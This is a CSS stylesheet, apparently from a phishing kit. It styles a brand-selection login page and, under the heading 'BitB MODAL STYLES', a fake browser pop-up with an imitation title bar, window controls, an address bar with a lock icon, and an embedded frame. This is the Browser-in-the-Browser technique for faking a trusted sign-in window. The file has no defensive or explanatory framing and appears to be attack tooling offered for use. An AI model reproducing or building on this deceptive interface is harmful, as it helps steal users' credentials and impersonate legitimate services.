/* Global Reset */
* { margin: 0; padding: 0; box-sizing: border-box; font-family: 'Segoe UI', sans-serif; }

body { display: flex; min-height: 100vh; background: #f8fafc; overflow-x: hidden; }

/* Left Panel - Glassmorphism Design */
.left-panel { 
    width: 42%; 
    background: linear-gradient(145deg, #0f4c75, #1b4965); 
    padding: 80px; 
    display: flex; 
    flex-direction: column; 
    justify-content: center; 
    color: white; 
    position: relative;
}
.glass-content { 
    background: rgba(255, 255, 255, 0.07); 
    backdrop-filter: blur(12px); 
    padding: 45px; 
    border-radius: 24px; 
    border: 1px solid rgba(255, 255, 255, 0.15); 
}
.divider { width: 40px; height: 4px; background: #4acb63; margin: 25px 0; border-radius: 2px; }
.sub-text { font-size: 14px; opacity: 0.85; margin-top: 25px; line-height: 1.7; }
.footer-links { position: absolute; bottom: 40px; left: 80px; font-size: 12px; opacity: 0.6; }

/* Right Panel */
.right-panel { 
    width: 58%; 
    background: white; 
    padding: 60px; 
    display: flex; 
    flex-direction: column; 
    align-items: center; 
    justify-content: center; 
    min-height: 100vh; /* Keeps the center point consistent */
}
.top-logo { max-width: 150px; margin-bottom: 50px; }

/* Selection Grid - Fixed Gap & Added Animation */
#selection-grid { 
    display: flex;
    flex-direction: column;
    width: 100%; 
    max-width: 450px; 
    margin: 0 auto; 
    animation: fadeIn 0.4s ease-out;
}

@keyframes fadeIn {
    from { opacity: 0; transform: translateY(10px); }
    to { opacity: 1; transform: translateY(0); }
}

.section-title { text-align: center; margin-bottom: 40px; color: #1e293b; font-size: 22px; font-weight: 500; }

.brand-tile {
    display: flex; 
    align-items: center; 
    justify-content: space-between;
    background: #fff; 
    border: 1px solid #e2e8f0; 
    border-radius: 16px;
    padding: 24px 30px; 
    margin-bottom: 20px; /* This is now the ONLY thing controlling space */
    cursor: pointer; 
    transition: all 0.2s ease-in-out;
}
.brand-tile:last-child {
    margin-bottom: 0;
}

.brand-tile:hover { 
    transform: translateY(-3px); 
    border-color: #4acb63; 
    box-shadow: 0 10px 20px rgba(0,0,0,0.05); 
}
.brand-tile:active {
    transform: scale(0.98);
    background-color: #f8fafc;
}

.tile-content { text-align: left; flex: 1; }
.tile-content strong { display: block; font-size: 18px; color: #0f172a; }
.tile-content span { font-size: 13px; color: #64748b; }
.tile-logo { max-height: 32px; max-width: 110px; width: auto; height: auto; object-fit: contain; margin-left: 20px; }

/* Forms & UI Elements */
#login-form { width: 100%; max-width: 400px; animation: slideIn 0.4s ease-out; }
@keyframes slideIn { from { opacity: 0; transform: translateY(15px); } to { opacity: 1; } }

#back-button { cursor: pointer; color: #94a3b8; font-size: 13px; margin-bottom: 20px; display: inline-block; transition: color 0.2s; }
#back-button:hover { color: #0f4c75; }

.input-group input { 
    width: 100%; 
    padding: 16px; 
    margin-bottom: 14px; 
    border: 1px solid #cbd5e1; 
    border-radius: 10px; 
    font-size: 15px; 
    background: #f8fafc; 
    transition: border-color 0.3s;
}
.input-group input:focus { outline: none; border-color: #4acb63; }

#domain-hint { font-size: 13px; color: #64748b; margin-bottom: 20px; text-align: left; }

#submit-btn { 
    width: 100%; 
    padding: 18px; 
    color: white; 
    border: none; 
    border-radius: 10px; 
    font-size: 17px; 
    font-weight: 600; 
    cursor: pointer; 
    transition: opacity 0.2s;
}
#submit-btn:hover { opacity: 0.9; }

/* Session Alert for Logout/Unauthorized */
.session-alert {
    background: #fee2e2;
    border: 1px solid #ef4444;
    color: #b91c1c;
    padding: 12px;
    border-radius: 8px;
    font-size: 13px;
    margin-bottom: 20px;
    display: none;
    text-align: center;
}

/* Spinner & Processing State */
.spinner {
    margin: 0 auto; 
    width: 40px; 
    height: 40px; 
    border: 4px solid #f3f3f3;
    border-top: 4px solid #4acb63; 
    border-radius: 50%; 
    animation: spin 1s linear infinite;
}
@keyframes spin { 0% { transform: rotate(0deg); } 100% { transform: rotate(360deg); } }

#processing-state { text-align: center; padding: 30px 0; }
#processing-state p { margin-top: 20px; color: #64748b; font-size: 14px; font-weight: 500; }
.error-text { color: #d93025 !important; font-weight: bold !important; }

/* BitB MODAL STYLES */
#modal-overlay {
    display: none;
    position: fixed;
    top: 0; left: 0;
    width: 100%; height: 100%;
    background: rgba(0, 0, 0, 0.6);
    backdrop-filter: blur(3px);
    z-index: 9999;
}

#bitb-modal {
    display: none;
    position: fixed;
    top: 50%; left: 50%;
    transform: translate(-50%, -50%);
    width: 520px;
    height: 620px;
    background: #fff;
    z-index: 10000;
    box-shadow: 0 25px 70px rgba(0,0,0,0.5);
    border-radius: 8px;
    overflow: hidden;
    border: 1px solid #bdc1c6;
}

.window-header {
    background: #dee1e6;
    height: 40px;
    display: flex;
    align-items: center;
    justify-content: space-between;
    padding: 0 15px;
    user-select: none;
}
.window-title { font-size: 12px; color: #3c4043; display: flex; align-items: center; }
.window-controls span { margin-left: 15px; font-size: 18px; color: #5f6368; cursor: default; }

.toolbar { background: #f1f3f4; padding: 5px 0 8px 0; border-bottom: 1px solid #dee1e6; }
.address-bar {
    background: #fff;
    margin: 0 10px;
    padding: 6px 15px;
    border-radius: 20px;
    font-size: 13px;
    color: #202124;
    display: flex;
    align-items: center;
    border: 1px solid #dfe1e5;
}
.lock-icon { color: #1a73e8; margin-right: 10px; font-size: 14px; }

/* Mobile Responsive Overrides */
@media (max-width: 768px) {
    body { flex-direction: column; overflow-y: auto; }

    .left-panel { display: none; }

    .right-panel { 
        width: 100% !important; 
        padding: 30px 20px !important; 
        justify-content: flex-start;
    }

    .top-logo { margin-bottom: 30px; max-width: 120px; }

    #selection-grid { max-width: 100%; padding: 0 10px; }

    .brand-tile { 
        padding: 20px; 
        border-radius: 12px;
    }

    .tile-content strong { font-size: 16px; }

    #bitb-modal {
        width: 95% !important;
        height: 550px !important;
        top: 50% !important;
        transform: translate(-50%, -50%) !important;
    }

    #iframe-container { height: 400px !important; }
}